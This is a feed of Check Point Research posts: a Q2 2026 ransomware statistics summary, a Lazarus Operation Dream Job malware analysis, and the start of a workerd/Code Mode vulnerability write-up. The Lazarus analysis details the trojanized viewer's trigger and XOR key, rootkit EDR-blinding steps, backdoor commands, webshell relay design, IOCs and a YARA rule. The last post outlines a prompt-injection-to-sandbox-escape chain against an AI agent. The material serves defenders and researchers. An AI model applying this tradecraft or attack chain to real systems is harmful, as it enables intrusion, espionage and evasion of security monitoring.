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The State of Ransomware Q2 2026

For the past year, the ransomware conversation has centered on concentration: a handful of dominant RaaS operations controlling most of the damage, and a shrinking pool of active groups fighting over the same territory. The State of Ransomware Q2 2026 report from Check Point Research shows that picture starting to shift. The leaders are still winning, but the road to joining them has gotten a great deal shorter.

Key observed findings 

  • The ecosystem stayed concentrated even as its tail widened considerably. The top 10 groups accounted for 57.6% of all victims, down from 71% in Q1, while the number of active groups climbed from 71 to 93, a new high for the period tracked in this report. 
  • Victim volume held at an elevated baseline and did not meaningfully change QoQ. Data leak sites recorded 2,139 victims in Q2, essentially flat versus Q1 (up 0.8%) and up 33% year over year, keeping pace with the highs set through 2025. 
  • Qilin and The Gentlemen fought a close race for the top spot all quarter. Qilin remained the most prolific operator for a fourth straight quarter with 279 victims, though its count fell 17%, while The Gentlemen surged 62% to 269 victims and actually outpaced Qilin during the month of June. 
  • An internal leak gave an unprecedented look inside The Gentlemen’s operation. Chat logs and platform data exposed a core team of roughly nine operators supported by a broader affiliate base, along with confirmation that the group used AI coding assistants to build its ransomware management panel in about three days, genuine first party evidence of AI accelerating malicious tooling development. 
  • Ransom payment rates fell to a multi year low near 23%, continuing a six year decline from 85% in 2019. Even so, on chain ransomware payments still exceeded $820 million in 2025, and the payer market itself is splitting: average payments are rising even as the median falls, a sign that large enterprises keep paying heavily while the mid market increasingly holds firm or settles small. 
  • Law enforcement concentrated its Q2 efforts on shared infrastructure rather than individual groups. Actions took down a cryptocurrency laundering platform used by multiple ransomware actors, prompted sanctions against major Iranian digital asset exchanges, dismantled a malware signing service abused by several RaaS operations, and disrupted large infostealer and VPN anonymization networks that many groups depend on at once. 
  • The geographic picture shifted meaningfully. The US share of victims fell from 50% to 42% quarter over quarter, largely because the quarter’s fastest growing groups, including The Gentlemen and the newly active Krybit, target the US far less often than the ecosystem average. 
  • The exploitation window kept narrowing, with AI increasingly cited as the accelerant. Vulnerabilities are now being weaponized within hours to days of disclosure, lowering the cost of exploit development and giving ransomware operators one more edge in the race to reach victims first. 

To read the full findings, access the State of Ransomware Q2 2026 report from Check Point Research here

The post The State of Ransomware Q2 2026 appeared first on Check Point Research.

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Shattering the Dream – When a Job Offer Becomes a Zero-Day Attack

Key Points

  • Check Point Research is tracking a long‑running campaign called Operation Dream Job, targeting organizations worldwide, with a particular focus on the defense sector. The campaign is affiliated to DPRK-linked Lazarus group and its latest wave focuses on the defense sector in Europe and India.
  • In the latest variant of the Operation Dream Job campaign, the threat actor distributed SecurityPDF, a modified PDF viewer designed to open attacker-crafted PDF documents and execute a new backdoor which we named Troy.
  • During the intrusion, the threat actor exploited CVE-2026-68820, a zero-day vulnerability in the Microsoft AFD.sys driver, to deploy a new version of FudModule, Lazarus’ kernel-mode rootkit. Following Check Point Research responsible disclosure, Microsoft released a patch as part of their August Patch Tuesday updates.
  • Lazarus also used CVE-2025-49113 to exploit vulnerable Roundcube webmail servers. The compromised servers were infected with RelayShell, a PHP webshell that repurposes compromised web servers as relay nodes within the attacker’s command-and-control infrastructure.
  • At least in one case, a compromised organization in Western Europe was leveraged to conduct a spear-phishing campaign, allowing the attackers to abuse the organization’s reputation and trust to target additional victims.

Introduction

Since early 2026, Check Point Research has tracked a wave of the Operation Dream Job campaign. This wave primarily targeted the defense sector worldwide, with a particular emphasis on companies operating in the aerospace and aviation industries.

We observed the threat actor distributing modified PDF viewers designed to execute malicious payloads embedded within specially crafted PDF files, opened by the user. In this campaign, the threat actor expanded its delivery method by leveraging impersonation websites and search engine optimization (SEO) techniques to distribute the trojanized applications, increasing its credibility and helping it evade some phishing-based detections.

During the operation, the threat actor deployed a new version of the FudModule rootkit, exploiting a zero-day local privilege escalation (LPE) vulnerability in the Windows AFD.sys driver, to obtain SYSTEM privileges and disable EDR visibility. Following responsible disclosure, Microsoft assigned the vulnerability CVE-2026-68820 and released a patch on August 11, 2026, as part of their August Patch Tuesday updates.

The attackers’ command-and-control infrastructure consists of compromised Roundcube and WordPress servers hosting RelayShell, a new PHP webshell that repurposes compromised web servers as relay nodes.

In this blog, we analyze the latest Operation Dream Job campaign, walking through the complete attack chain and providing a technical analysis of the malware and the novel techniques employed throughout the operation, offering new insights into the group’s evolving modus operandi.

Infection Chain

The Operation Dream Job campaign begins with targeted spear-phishing lures centered on attractive job opportunities at well-known companies in the defense, aerospace, and aviation industries.

The exact method used to approach victims in the current campaign remains unclear. However, based on previously documented Dream Job campaigns, we assess that the threat actor likely approached targets through professional networking platforms such as LinkedIn, or directly through messaging applications. Posing as recruiters, the attackers present enticing job opportunities and ultimately direct victims to download malicious files.

During our analysis, we identified two distinct infection chains used to compromise targets. While the second chain appears to represent a more recent evolution of the campaign, both infection methods remain active in parallel.

Infection Chain 1: DLL Sideloading chain

In this infection chain, the victim is convinced to download an encrypted zip archive containing three files:

  • A legitimate, digitally signed PDF viewer executable.
  • A malicious DLL that is loaded through DLL sideloading.
  • An encrypted payload with a PDF extension.
Figure 1 - High-level overview of the DLL sideloading infection chain
Figure 1 – High-level overview of the DLL sideloading infection chain.

When the victim launches the executable, the malicious DLL libmupdf.dll is loaded via DLL sideloading. The DLL extracts a decoy PDF document from the encrypted payload and displays it to the user, while simultaneously extracting, decrypting, and executing an embedded payload directly in memory.

Figure 2 - PDF decoy impersonating Lockheed Martin job description.
Figure 2 – PDF decoy impersonating Lockheed Martin job description.

The executed payload is MISTPEN, a lightweight in-memory downloader that uses Microsoft Graph API to access OneDrive in order to retrieve additional modules and run them in memory.

  • Reconnaissance: During the initial stages of the infection, the threat actor deploys several reconnaissance modules that collect system and process information, allowing the attacker to verify that the system is a suitable target before proceeding with the next stage of the attack.
  • Persistence: Once the target has been validated, MISTPEN receives an additional persistence module that installs the malware on disk and ensures that MISTPEN is automatically executed after system reboot.
  • Privilege Escalation: After persistence is established, MISTPEN loads an in-memory local privilege escalation (LPE) module designed to exploit the zero day vulnerability CVE-2026-68820 in the Microsoft AFD.sys driver. Successful exploitation allows the malware to execute FudModule, Lazarus’ kernel-mode rootkit, with SYSTEM privileges.
  • Backdoor Deployment: The final backdoor delivered by MISTPEN is the ForestTiger backdoor, a well-documented malware family widely attributed to the Lazarus threat group. Once deployed, it provides the attackers with long-term remote access to the compromised host.

Infection Chain 2: Trojanized PDF viewer

In July 2026, we observed a new campaign sharing many characteristics with previously documented Operation Dream Job, particularly the campaign described by ESET in 2025.

In this infection chain, victims receive fraudulent job offers impersonating Enveil, a Privacy Enhancing Technology company, and are instructed to download an encrypted ZIP archive containing two files:

  • SecurityPDF – a trojanized PDF viewer that has been modified to extract and execute an encrypted payload from specially crafted PDF documents.
  • A malicious PDF file – an encrypted payload disguised as a PDF document that is decrypted and executed when opened with the modified viewer.
Figure 3 - Crafted PDF opened by SecurityPDF.
Figure 3 – Crafted PDF opened by SecurityPDF.

SecurityPDF is a trojanized version of a legitimate open-source PDF viewer built on the MuPDF framework. The threat actor modified two code paths responsible for opening PDF documents: the File → Open dialog and the drag-and-drop file handling routine.

As a result, whenever a user opens a PDF document, the application checks whether the file contains the following marker This document is encrypted with sumatrapdf reader!!!!!!!!!!!!. If the marker is present, the application extracts the embedded payload, decrypts it using a single-byte XOR key (0x39), writes the resulting executable to %TEMP%\new.exe, and launches it as a child process.

The new.exe file is a small executable responsible for reflectively loading an embedded DLL containing the Troy backdoor, a previously undocumented backdoor first observed in this campaign.

In addition, we identified at least three websites impersonating Enveil that distribute the trojanized PDF viewer. Some of these websites rank highly in search engine results, with some even appearing as the top result for relevant search queries. It is important to note that the attacker only impersonates Enveil, and there are no indications that the company was targeted or compromised.

Figure 4 – Website appearing as the top search result for “Enveil SecurityPDF”.

Although we did not directly observe how the threat actor incorporated these websites into the phishing campaign, we assess that they were likely used to separate the delivery of the trojanized PDF viewer from the delivery of the crafted PDF document. In this scenario, victims would first receive the malicious PDF file through a phishing message and later be instructed to download the PDF viewer from what appears to be the vendor’s legitimate website. Separating these infection chain stages reduces the likelihood of detection.

MISTPEN

MISTPEN is the first in-memory module executed during the attack chain. First documented by Mandiant in 2024, it functions as a lightweight downloader that uses the Microsoft Graph API to communicate through attacker-controlled files hosted on OneDrive and retrieve additional payloads

All files exchanged through OneDrive are encrypted with AES, using separate keys for uploads and downloads. MISTPEN’s primary capability is the reflective loading of PE DLL files directly into memory, enabling the deployment of additional payloads without touching disk.

Before delivering the final backdoor, MISTPEN often deploys several in-memory modules designed to perform specific tasks. These modules do not implement their own network communication mechanisms; instead, they execute their designated tasks and return the resulting data to MISTPEN, which uploads it to the C2.

Below is a description of the modules we observed being loaded by MISTPEN during our analysis.

GetInfoPlugin – Host Reconnaissance Module

This module is a 64-bit Windows DLL internally named Release_GetInfoPlugin_x64.dll. Its primary purpose is to profile the compromised host and return the collected information as a single wide-character string.

The module collects basic system information, including the machine’s domain or workgroup membership (via NetGetJoinInformation), the computer name, the current user name, and the operating system version and build number. The collected data is formatted in the following template and returned to MISTPEN:

Domain: <domain_or_workgroup>
ComputerName: <hostname>
UserName: <username>
OsInfo: <Windows product name> <build_number>.<UBR>

PvPlugin – Process List Module

This module is a 64-bit Windows DLL internally named Release_PvPlugin_x64.dll. It serves as an extended version of the GetInfoPlugin module, collecting the same host reconnaissance data while adding detailed information about running processes.

For each running process, the module collects the Process PID, PPID, creation timestamp, associated domain and user, and process name. The collected information is formatted into a tabular process list and returned to MISTPEN.

OneScreenCapture – Screenshot Module

This module is a 64-bit Windows DLL internally named OneScreenCapture64.dll, it is responsible for capturing the current desktop (including all monitors) and returns the screenshot to its caller.

The module uses standard Windows USER32 and GDI APIs to capture the virtual desktop into a bitmap. The bitmap is then converted to a JPEG image and Base64-encoded into a single wide-character string before being returned to MISTPEN for exfiltration.

LPE loader

This module is a 64-bit Windows DLL that acts as a loader for a local privilege escalation (LPE) exploit module. It is loaded by an extended version of MISTPEN that provides it with an RPC buffer used for communication between the two components. Messages written to this buffer are forwarded by MISTPEN to the attacker through its existing Microsoft Graph API communication channel, while responses received from the C2 are relayed back to the module through the same interface.

Figure 5 - Writing and reading data through the shared RPC buffer
Figure 5 – Writing and reading data through the shared RPC buffer.

In addition to MISTPEN’s AES-based transport encryption, the module encrypts all exchanged data using GOST-CBC with a randomly generated 16-byte session key. The encrypted data is then Base64-encoded, with the session key prepended to each packet.

The module operates in four stages:

  1. Host Fingerprinting – The module gathers detailed information about the compromised host, including the operating system version, build number, installed security products, and other system characteristics.
  2. Key Exchange – The module requests a set of four public keys from the C2 server.
  3. Session Key Generation – Using the received public keys, the module generates new key material using the Kyber/ML-KEM algorithm and transmits the resulting encapsulated key material back to the C2.
  4. LPE Deployment – Finally, the module requests the encrypted LPE payload, decrypts it using the negotiated key, and executes it directly in memory with export DestroyEnv. Throughout the process, status messages are sent back to the C2 to indicate whether each stage of the exploitation succeeded.
Figure 6 - Execution of LPE module with export DestroyEnv
Figure 6 – Execution of LPE module with export DestroyEnv.

The downloaded LPE payload is FudModule, Lazarus’ kernel-mode exploit module. It exploits a local privilege escalation vulnerability to obtain SYSTEM privileges and injects a payload into a SYSTEM process. In the observed attack, the injected payload was another instance of MISTPEN, allowing the malware to continue operating with elevated privileges and without EDR visibility.

CVE-2026-68820: Yet another Zero-Day discovered by Lazarus

The file we investigated, Afd4Eop12_x64.dll, has a compiler timestamp of July 7, 2026, 22:07:44 UTC. Its strings immediately suggest a variant of FudModule, including references such as “enable_god_mode passed.” and a main function similar to previous Fud Modules. FudModule is a Lazarus privilege escalation tool, reported and being used since around 2021.

Figure 7 - Exploitation and post-exploitation function calls of FudModule, similar to the 2024 variant
Figure 7 – Exploitation and post-exploitation function calls of FudModule, similar to the 2024 variant.

The module targets afd.sys, the Windows Ancillary Function Driver, a part of the Windows kernel that is in charge of managing and handling sockets in Windows. In 2024, FudModule was reported to use another zero-day, CVE-2024-38193, a use-after-free vulnerability in the same afd.sys driver.

At first sight, the vulnerability looked similar to CVE-2025-60719, which is also a use-after-free vulnerability in the AFD.sys driver fixed in November 2025 and not linked to any particular threat actor. In the sample itself, we observed an explicit minimum-version check for Windows 11 build 26100 (24H2), with explicit support also for build 26200 (25H2). However, testing on the latest fully patched Windows 11 system confirmed that the exploit targets a distinct, previously undocumented vulnerability, actively being used in the wild as a part of Operation ‘Dream Job’ since at least early July 2026.

We will not be disclosing full technical details of the vulnerability in this article, as it was patched on the August 11 Patch Tuesday fix. At a high level, the exploit takes advantage of how afd.sys handles a socket is created when it is accessed concurrently by several threads at once.

The driver maintains a small piece of information about the state associated with each socket. Under specific concurrent conditions, two of its own code paths can operate on this state at the same simultaneously, without synchronization, creating a race condition If triggered at the right moment, one code path can access memory after it has already been released by another, resulting in a use-after-free vulnerability.

From there, the module does what these modules do – it leverages this memory corruption to obtain a kernel read/write primitive, which is subsequently used to achieve local privilege escalation to SYSTEM.

We disclosed the issue to Microsoft, and Microsoft issued a fix quickly.

Disclosure timeline

  • Jul 28, 2026: Issue reported to the Microsoft Security Response Center (MSRC).
  • Jul 31, 2026: Microsoft confirmed the bug
  • Aug 5, 2026: Microsoft assigned CVE-2026-68820 to the issue.
  • Aug 11, 2026: Fixed on Patch Tuesday.

FudModule v3.1

Except for a novel, completely different exploit chain, this FudModule’s post-exploitation behavior is quite similar to FudModule v3, reported by Gen Digital back in 2024.

Shared with v3

  • The entire telemetry teardown suite: process, thread, and image notify callbacks; object and registry callbacks; minifilter removal by altitude band; and the termination of the NT Kernel Logger.
  • Crash-dump suppression, executed before everything else.
  • The WFP stage, which is activated when Kaspersky is present and Symantec is absent.
  • The hardcoded ETW provider kill-list: its 94 GUIDs match the first 94 entries of Gen’s published 95-GUID list, in identical order.
  • The driver selection engine, with the same universal preserve list and per-class keep and kill rules.
  • Privileged-handle forgery and the same two-hop spawn through services.exe into a SYSTEM msiexec.exe process.
  • Logging vocabulary, surviving essentially string-for-string, including: GetGodMode failedGetSystemHandle passed.CreateRemoteProcess passed.RemoteDllExecute passed., and the ClearVaccine* family.

Functionality removed from v3

  • The dedicated Microsoft Defender stage used to disable monitoring of MsMpEng.exe. Only the orphaned string SuspendDefender passed. remains, and is no longer referenced by executable code, while Gen’s FudModule v3 YARA rule contains the active-stage variant SuspendDefender skipped.
  • The PPL stripping functionality targeting AhnLab’s asdsvc.exe.

Microsoft Defender is still blinded here, but only through the generic security-product suppression engine, like any other vendor, rather than through a dedicated Defender-specific stage.

New functionality since v3

  • A Smart App Control tampering functionality not documented in publicly analyzed FudModule versions through v3. Within the SYSTEM-level msiexec.exe child process, its remote stub sets VerifiedAndReputablePolicyState to zero and invokes NtSetSystemInformation class 0xA4 with option 0x10000000, triggering an in-place reload of the code integrity policy.

Targeting

As mentioned before, this version only targets newer Windows builds 26100/26200, unlike the previous version that also targeted older ones.

Troy Backdoor

The Troy backdoor is a newly identified modular remote access trojan in Lazarus’ arsenal. Delivered as a 64-bit DLL, it supports 17 operator commands, providing a broad range of remote access and post-exploitation capabilities.

The name Troy is derived from a PDB path embedded in the sample: E:\HK\Tool_Module\Troy_Handle\1Troy_Create_Dll_Tool\x64\Release\Test_Dll.pdb. Notably, the term Troy has also appeared in PDB paths associated with previously documented Lazarus samples. For example, an ESET report published last year documented a sample containing a PDB path E:\Work\Troy\안정화\...

The Troy backdoor supports three Command and Control (C2) servers, each configured with a URL and port. At startup, the implant iterates through the configured servers in order, parsing each URL into its host and path components, establishing an HTTP connection, and issuing a connection request. It validates the response against the string CONNECTED and uses the first server that responds successfully.

The initial connection is followed by a challenge-response handshake used to authorize the implant against the server. Once authenticated, Troy collects host information and registers the victim by sending a client identifier and a system profile containing the user profile directory, account name, Windows version, local IPv4 address, and current working directory.

Following registration, Troy enters its command-processing loop. Tasks received from the C2 server are Base64-encoded; the implant decodes them and identifies commands using plaintext prefix matching. Command results are returned through the send channel in a compact JSON envelope: { "to":"<channel>", "msg":"<base64>" }. Responses that exceed the maximum message size are divided into numbered chunks and reassembled on the C2 side.

The Troy backdoor provides a notably broad feature set for a single-DLL implant, and a cohesive design. Its seventeen supported commands span the capabilities required for each stage of post-compromise operations, from initial reconnaissance and file operations, to command execution and in-memory code delivery, while following a consistent tasking and result-framing model throughout.

Figure 8 - Troy’s reflective DLL injection flow, showing remote RWX allocation, loader and payload writes, and execution through RtlCreateUserThread.
Figure 8 – Troy’s reflective DLL injection flow, showing remote RWX allocation, loader and payload writes, and execution through RtlCreateUserThread.

Troy Backdoor Supported C2 Commands

CommandCapabilityWhat it does
WAITKeepaliveServer-side no-op that keeps the session alive and feeds the idle back-off counter.
DRIVESDrive enumerationReports every mounted volume letter present on the host.
LIST|<path>Directory listingEnumerates a directory with names, sizes and timestamps, sending the listing length first and the listing itself second.
OPEN|<exe> [args]Process creationLaunches an executable with arguments in a hidden window with no console.
DELETE|<path>File and folder deletionRemoves a single file, or an entire directory tree through a silent shell file operation.
ZIPDOWNLOAD|<src>|<dst>Archive and exfiltrateCompresses a path with PowerShell Compress-Archive into a temporary archive, uploads it, then removes the archive.
DOWNLOAD|<victim-source>|<client-destination>File exfiltrationStreams a file from the victim to the operator in chunks.
UPLOAD|<client-source>|<victim-destination>File dropWrites an operator-supplied file to disk, appending the filename when the destination is a directory.
CMD|<commandline>Interactive shellRuns a command and captures its output, tracking cd /d so the working directory persists between commands, with a 10 second execution watchdog.
mem <dllpath> <pid>In-memory DLL injectionMaps a DLL into a remote process using an embedded reflective loader, matching architecture before injecting.
pk <pid>Process terminationTerminates a process by identifier and reports the outcome.
sleep <N>One-shot delayPauses the implant for N minutes without changing the stored interval.
DEFAULTSLEEPConfigured delayAcknowledges, then pauses for the currently configured beacon interval.
GET_CONFIGConfiguration readReturns the stored configuration as eight fields covering the client ID, the sleep interval, and the three server and port pairs. The stored values may differ from the connection actually in use.
SET_CONFIG|Configuration updateWrites eight replacement fields into stored configuration state. Only the idle interval takes effect at runtime, because the connection loop does not read the stored servers and the port remains hardcoded to 80.
pvdProcess listing with command linesEnumerates processes with session, owner and start time, enriched with full command lines retrieved over WMI.
pvProcess listingThe same enumeration without the command line column.

Compromised Infrastructure Used as ForestTiger C2

As previously reported, ForestTiger’s C2 infrastructure has historically relied primarily on compromised servers mainly running WordPress and SharePoint. In more recent campaigns, the threat actor appears to have shifted toward using compromised Roundcube webmail servers as C2 infrastructure.

The majority of the Roundcube servers we analyzed were running versions vulnerable to CVE-2025-49113, a critical PHP Object Deserialization vulnerability that can lead to remote code execution (RCE). Exploitation of this vulnerability requires authentication with valid Roundcube credentials. During our investigation, we identified several credential leaks that are available in the Darkweb, and contain usernames and passwords associated with accounts on the compromised webmail servers. We assess that the threat actor likely leveraged these credentials to authenticate to the affected Roundcube instances before exploiting CVE-2025-49113 to deploy RelayShell web shells, which subsequently serve as a C2 relay mechanism.

In addition, we observed the threat actor compromise PrestaShop websites and deploy the same RelayShell web shell.

RelayShell

Following the post-exploitation of a web server, the threat actor deployed a previously undocumented PHP web shell that we named RelayShell. Unlike a traditional web shell that provides direct command execution, RelayShell primarily acts as a communication relay between the threat actor and an infected endpoint.

RelayShell operates in two distinct modes, selected by the password supplied in the HTTP POST request. For clarity, we refer to these as Victim mode and Operator mode.

Victim Mode

When accessed using the victim password, RelayShell creates a new PHP session that is subsequently used for communication with the infected endpoint.

The webshell then decrypts a hidden configuration stored in an external file using a custom substitution cipher. The configuration contains two values:

  • A backbone URL
  • A unique identifier (PID) assigned to the compromised server

RelayShell then immediately sends an HTTP POST request to the configured backbone URL using the unique identifier and authentication password.

Figure 9 - WebShell contacting the backbone compromised server on new session creation.
Figure 9 – WebShell contacting the backbone compromised server on new session creation.

Based on our analysis, the backbone URL appears to point to another RelayShell instance acting as an upstream relay or notification server. This request signals that a new victim session has been established, allowing the operator to subsequently connect using the second password.

Operator Mode

When accessed using the operator password, RelayShell enters operator mode, providing a set of commands for interacting with the compromised server. These commands support session management, connectivity checks, file upload and deletion, and retrieval of activity logs.

Command TypeDescription
Session auth / selectionScans existing .ses files, picks the latest session, and returns its data.
Check & cleanupUpdates configuration, deletes old session/log/temp files, and checks connectivity to the backbone URL.
Download logSends back the encoded log file containing activity records.
File uploadWrites an arbitrary file to disk, using Base64‑encoded filename and content.
Self‑delete / file removalSelf-delete  Deletes a specified file (provided as Base64‑encoded path).

File-Based Communication Channel

After both the victim and operator sessions are established, RelayShell provides two commands, send and receive, which implement a lightweight file-based communication channel using temporary files stored on the compromised server.

Messages are exchanged through files following the naming convention <session_id><object>.log where object identifies the side of the communication channel: 1 for the victim and 2 for the operator.

When sending data, RelayShell writes the supplied content to the session file corresponding to the sender. When receiving data, RelayShell reads and returns the contents of the file corresponding to the opposite side, creating a bidirectional communication between the victim and the operator.

Figure 10 - Obfuscated command switch for requesting and sending data
Figure 10 – Obfuscated command switch for requesting and sending data.

This mechanism effectively turns the compromised web server into a relay node. The victim-side implant establishes the session and notifies the backbone server that is monitored by the threat actor , after which the actor connects to the RelayShell instance and exchanges commands and responses through the file-based messaging channel.

During our investigation, we observed the threat actor accessing RelayShell through shared VPN services, including ExpressVPN, further obscuring the origin of their infrastructure.

We also identified 17 unique identifiers, suggesting that at least 17 compromised servers were likely used as relay nodes during the campaign. However, we were unable to identify all of the affected servers.

Victimology

This new Operation Dream Job campaign focused heavily on the defense sector, particularly organizations involved in military technologies such as surveillance sensors, drones, and robotics. The campaign had a global reach, with activity extending into South America, including Brazil, and successful targeting observed in Western Europe, including France and Germany.

During the campaign, a compromised organization headquartered in France was later leveraged by the threat actor to conduct spear-phishing attacks against targets worldwide, likely to increase the perceived campaign’s authenticity and credibility.

Another notable target was India, which has a substantial and rapidly growing defense and aerospace industry, with expanding domestic production and technology exports.

Figure 11 - Lazarus Operation Dream Job Global Campaign Targets.
Figure 11 – Lazarus Operation Dream Job Global Campaign Target Distribution.

Conclusion

The latest Operation Dream Job campaign demonstrates that Lazarus continues to evolve both its malware capabilities and operational tradecraft. Beyond deploying a new version of FudModule that exploits the CVE-2026-68820 zero-day vulnerability, the threat actor also refined its initial access techniques by combining targeted spear-phishing with impersonation websites and search engine optimization (SEO) to distribute trojanized software.

The threat actor’s decision to rely on compromised Roundcube instances and content management system (CMS) servers for C2 reflects an operational approach well suited to highly monitored defense-sector environments, where network activity may be closely inspected by organizational security teams as well as government and national cybersecurity authorities. By abusing legitimate web infrastructure, the threat actor can better blend malicious communications within normal network traffic.

Our findings highlight Lazarus’s continued evolution toward stealthier and more resilient operations, combining new delivery techniques, modular malware, zero-day exploitation, and compromised web infrastructure. We believe the technical details presented in this research will help defenders identify, detect, and disrupt future Operation Dream Job campaigns.

IOCs

DLL Loader\Dropper
2b4987c07a3d9a9a5d1a9bf4efa3d1903e775090b611710edafdc92874265ca8
3a02d0d798e8d35555776886d92b20ff38a101c9ef7e0eebc8ce5d259516525a
92106b0c62a0a42678232f8273f030b2d3c8e92efce81b98b9eec70cfe98afa1
396192d92d17ace1a521f1351eeeba2825e60badd0d799cc5c338e4934b3c82c
f7e620134ca935067797ab957317b346ce0df84a4e9b9ca54a6acc9b75afda4d
75b93a7103b0562f6497d30052c0c5cf7aa58c1bf0e9297022b74469a7f096f1
a45144d22cac70a45d71cf4dffa4efbc373658779a56cf1300d6ac863d6cc7e2
1de949c71efcfb0ffc41f33d38833dbc4b082075b1a540fc68c18c535d7ad86c
4c9b804d6155b29f1e27a9ffe531e10bc42a7bdab42f905b50146bf2026768d9
29e24c007549e51319ff3aee011da6f9f93568e8c85a5ad69c9e53bd3f4533a2
4ebdce2f47c23ff8c9e8e80c8b5239c7a5764da31cd3ab8f0505926890adc105
c2aa28bb5e2a749c693712008276f311edd912f689371ef9e8a1ee5fb4167461
MISTPEN
2db25ac41a66aa523c79e23e00443573530dd7bd82b8371bcc87bd7232e141eb
5278ee922838352f1480a73e971161017d643a80b7ec22bf725897dfd088696d
b4082d21070d9ddf53fde4ea22524d09e41ec9826ce63cef3c6235e458d21afb
fb3fc5626f68677fb1269a2fefbe70e719211b4065e836ab92e06a8210139a2d
ea7056f2bf36c66a61ff787ff5be975a85f534c3c5ca178791dac2504db2c619
13d10bc99f7f7abe7ee0902be87920b73b2ea41bd9683dbfcad340dacbcdef79
4fd32432341dfcf54d0517a6bbc38e5d265be70933493e4183c2a340cdde9a2d
4dd792c9f672bbdcc8d363d745994efe90f4ffc5fdc2c059c8e379a48ad6a68a
ba96c603e44046de703c67b2c3b7e4ca974afef7b437a0244418bc4edc781bb7
ForestTiger
72dccae85e062f541fecad9ec7a18a3123e7ae5ac5d53c91709b53a46dbbd289
231b1ef8b95bf77887d5377e2a60f649035e78f543af1b82877db36a5759d858
6da9b1e6f3315ceb77dd14a937a26cc3602bf6a7e2c2ecafb3c65ce5319837be
a0578a2b7821d7e2c573530648f26d7a0d98b373ab24fb7f0c792736761e542d
82268052f94df6f4870d02e57b18d4c54136cc7a8c8d80ad162631f99462c943
FudModule
3b6378df8442e63a6ed7317075913e4720847a510d95022d4a8347b2637c245d
PDF Payload
a673ae661593c0de9bbb815593b816a6853dad6d55ad5042d2ef1875cd13d6e7
8ce6c29f92dc45b1474417cbdff4ed0c18e58fa63e3a071ee9f85aa9d2aac07c
acb97cec84e08b89f41967a24e965d1fd2c51751cef158f7aa35bb4306b87b97
3601060c62edeeaa49def6a13be6e126e1024ce011faad4e2d9f585ccf6bd5a6
fecf12088843801215898442bd1ff3e266f29d14e29a94780e857f69c4915d6b
d578c28c9afe7457a0d81f6701332ef8197e8f7468de654935fb29a50ea66459
SecurityPDF.exe
743172aab606974b054a64561534ae66baa3a840657f79d7c6fa18350e8d45d1
db3d69b7eeda2e35e23006bf4b7e206281fce809584207214fc213f9bc30376d
Troy Backdoor
590fb6ae19480d694e08ee85859cad8066f2f87e7e5abba2960c6d115e1615d6
68d4fba7b1300a59cd6212c08910a260cd71b40cd9f51cac933030a68faac0bb
a738059ce07c951c31ab2da3d93d8f69bff32f9b7d933dbf5943441b9cc99075
RelayShell
21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762
cc4e06aa378a190f71384c03023bb3d18a6d66e297d46701220e132963d2e222
SecurityPDF Website & Troy C2
envell[.]xyz
enveil[.]online
uxtramine[.]org
135.181.67[.]203
135.181.185[.]158

YARA – RelayShell Webshell

rule lazarus_relayshell
{
  meta:
    author = "@_CPResearch_"
    description = "Lazarus RelayShell Webshell"
    target_entity = "file"
    hash = "21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762"
  strings:
    $str1 = "'PqCWom'"
    $str2 = "'a84038'"
    $str3 = "'biwbih'"
    $str4 = "'ddf7acea'"
    $str5 = "'enRU904U'"
    $str6 = "'fou2rm'"
    $str7 = "'kurhiW'"
    $str8 = "'qcrgl'"
    $str9 = "'rlzbiw'"
    $str10 = "'tmmvr1'"
    $str11 = "'win386'"
    $str12 = "\"biwbih\""
    $str13 = "\"PqCWom\""
    $str14 = "\"a84038\""
    $str15 = "\"ddf7acea\""
    $str16 = "\"enRU904U\""
    $str17 = "\"fou2rm\""
    $str18 = "\"kurhiW\""
    $str19 = "\"qcrgl\""
    $str20 = "\"rlzbiw\""
    $str21 = "\"tmmvr1\""
    $str22 = "\"win386\""
    $str23 = "D9hWnVEqdgzJ67/B8euS0yKCIMrw5jc:fGUX3AakLH2oYQRp"
  condition:
    3 of ($str*)
}

The post Shattering the Dream – When a Job Offer Becomes a Zero-Day Attack appeared first on Check Point Research.

  •  

When Agentic Glue Melts: Exploiting Cloudflare Code Mode and Workers

By Yarden Porat, Check Point Research

Key Points

  • Check Point Research analyzed Cloudflare Code Mode, a technique that changes how AI agents use MCP by turning tools into a TypeScript API the model can write code against.
  • The research uncovered five vulnerabilities in workerd, the open-source runtime behind Code Mode and Cloudflare Workers. Two were rated Critical by Cloudflare.
  • The blast radius is broad: by Cloudflare’s own numbers, Workers is built by millions of developers,[1] serves millions of requests per second,[2] and carries more than 10% of all traffic on Cloudflare’s network.[3]
  • Because workerd underpins both Code Mode sandboxes and Workers tenant isolation, the findings create sandbox-escape and cross-tenant exposure risk.
  • Cloudflare’s managed Workers environment has been fixed in production. Self-hosted workerd / Code Mode deployments should update to v1.20260619.1.
  • Check Point Research released proof-of-concept code as part of its Black Hat USA 2026 presentation.

The short version

We set out to break Cloudflare Code Mode, and ended up breaking Cloudflare Workers too. We did both by targeting workerd, the runtime beneath both: an in-process sandbox that relies entirely on V8 to isolate untrusted code.

We found five memory-corruption bugs in workerd’s native C++ (the “glue” between JavaScript and the runtime), and turned them into two end-to-end attacks:

  1. Cross-tenant heap swipe. An out-of-bounds read in URLPattern lets one Worker reach across the shared process heap and swipe another tenant’s secrets.
  2. Code Mode sandbox escape. Starting from a prompt injection, a use-after-free in node:zlib breaks out of the sandbox and runs native code on the host.

Part I – Understanding the target

1. Where this started: Code Mode

Code Mode is Cloudflare’s take on LLM tool use. Instead of a model emitting structured tool calls one at a time, Code Mode exposes the available tools as a typed TypeScript API and lets the model write code that calls them: loops, conditionals, data shuffling and all.

In the traditional MCP / tool-calling loop, the model emits one {tool, args} call, the agent runs it, feeds the result back. The model then emits the next call. Every step is a fresh model invocation, and usually a network round-trip. Code Mode collapses that: the model writes one program that orchestrates many tool calls itself (looping, branching, and combining intermediate results locally) and only the final output returns to the model.

Cloudflare’s argument is that LLMs, trained on enormous amounts of real-world code, are simply better at writing a program against a typed API than at emitting long chains of synthetic tool calls. [4]

Figure 1 -

Figure 1 – Tool calling vs. Code Mode

That code has to run somewhere, and that “somewhere” is workerd, the runtime behind Cloudflare Workers.

2. The workerd origin story

To understand workerd, start with the product it was built for: Cloudflare Workers. Workers is Cloudflare’s serverless platform: you upload a piece of code and Cloudflare runs it at the edge, in data centers close to the user, on demand for every request. There’s no server to manage and, ideally, no cold machine to wait for.

